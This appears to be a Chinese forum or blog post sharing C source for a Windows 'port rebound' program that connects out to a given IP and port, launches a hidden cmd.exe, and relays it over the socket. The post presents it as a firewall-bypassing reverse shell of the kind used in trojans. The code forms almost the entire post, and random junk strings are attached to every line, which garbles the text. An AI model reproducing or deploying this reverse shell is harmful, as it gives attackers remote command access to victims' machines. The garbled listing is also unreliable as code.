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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 \ Dccf_(Pb  
./i5VBP5  
/* ============================== }/J<#}t  
Rebound port in Windows NT tFvXVfml  
By wind,2006/7 opv<r* !  
===============================*/ ln*jakRrC  
#include _X)`S"EsJ  
#include }F4%5go  
32z2c:G  
#pragma comment(lib,"wsock32.lib") }P\J?8  
:3A^5}iz  
void OutputShell(); /C6$B)w_*{  
SOCKET sClient; oZ\zi> Y,  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; zXaA5rZO  
bR*} s/  
void main(int argc,char **argv) =<[M$"S7d6  
{ ]=G  dAW  
WSADATA stWsaData; {xu~Dx  
int nRet; KmpKyc[  
SOCKADDR_IN stSaiClient,stSaiServer; ;U[W $w[  
'b:UafV  
if(argc != 3) Y$0K}`{  
{ -7u_\XFk  
printf("Useage:\n\rRebound DestIP DestPort\n"); &Pe[kCO]  
return; <tgfbY^nL  
} hh8U/dVk*  
YJB/*SV^  
WSAStartup(MAKEWORD(2,2),&stWsaData); gQ$0 |0O  
ffG1QvC|M  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ) ^ 7- qy  
yC\!6pg  
stSaiClient.sin_family = AF_INET; 0,1)Sg*  
stSaiClient.sin_port = htons(0); }WnoI2  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 2[I[I*"_d  
f"Kl? IN8  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) iJb-F*_y  
{ <(_${zR  
printf("Bind Socket Failed!\n"); paZcTC  
return; L8?;A9pc()  
} * TByAa{  
j"9Zaq_  
stSaiServer.sin_family = AF_INET; ?7dV:]%~2  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); >K*TgG6!X  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); tUhr gc  
g-<[* nF  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Xp~O?2:3l  
{ cB_ 3~=fV  
printf("Connect Error!"); x }i'2   
return; J=B,$4)9  
} \9k{h08s  
OutputShell(); XL`i9kV?  
} -5Aqf\  
D)bR-a_^  
void OutputShell() @T)>akEOt  
{ !Q{~f;L  
char szBuff[1024]; A?H.EZ  
SECURITY_ATTRIBUTES stSecurityAttributes; ?<~P)aVVj  
OSVERSIONINFO stOsversionInfo; &?M'(` ~  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 3$P GLM  
STARTUPINFO stStartupInfo; seA=7c5E  
char *szShell; hEAP,)>F  
PROCESS_INFORMATION stProcessInformation; ;_E][m  
unsigned long lBytesRead; PY[!H<tt  
79Q>t%rD[  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); c1h?aP  
79}Qj7  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ~i=5NUE  
stSecurityAttributes.lpSecurityDescriptor = 0; X_#,5t=7  
stSecurityAttributes.bInheritHandle = TRUE; 0b+End#mp  
-XWlmw*i(g  
XT\Q"=FD  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ,e+S7 YX  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 6]Ri$V&"  
vR'rYDtU@  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); A~#w gLGn  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; qQe23,x@5  
stStartupInfo.wShowWindow = SW_HIDE; Bu#\W  
stStartupInfo.hStdInput = hReadPipe; o & kgRv[  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;\gHFG}  
Jl{g"N{2u'  
GetVersionEx(&stOsversionInfo); CxJH)H$  
Uc5BNk7<=  
switch(stOsversionInfo.dwPlatformId) X;3gKiD  
{ V,>uM >$  
case 1: e*pYlm  
szShell = "command.com"; U\UlQ p?  
break; ~jM!8]=  
default: S3&lkN5  
szShell = "cmd.exe"; i`EG80\[Z  
break; E(0[/N~  
} kT4Oal+4  
_A=Pr _kN  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); )r6d3-p1  
( 2i{8  
send(sClient,szMsg,77,0); +{@hD+  
while(1) }yMA s  
{ 6"_ytqw7  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); h}f l:J1C  
if(lBytesRead) LABLT;c  
{ jHBP:c  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); o7t#yw3  
send(sClient,szBuff,lBytesRead,0); 5/4q}U3  
} dnstm@0k  
else AOR(1Qyo  
{ +BkmI\  
lBytesRead=recv(sClient,szBuff,1024,0); p^?]xD(  
if(lBytesRead<=0) break; "D.`:9sk0  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); KcF#c_f   
} W,p?}KiO T  
} ~+bSD<!b  
k)B]|,g7G0  
return; |-.r9;-b  
}
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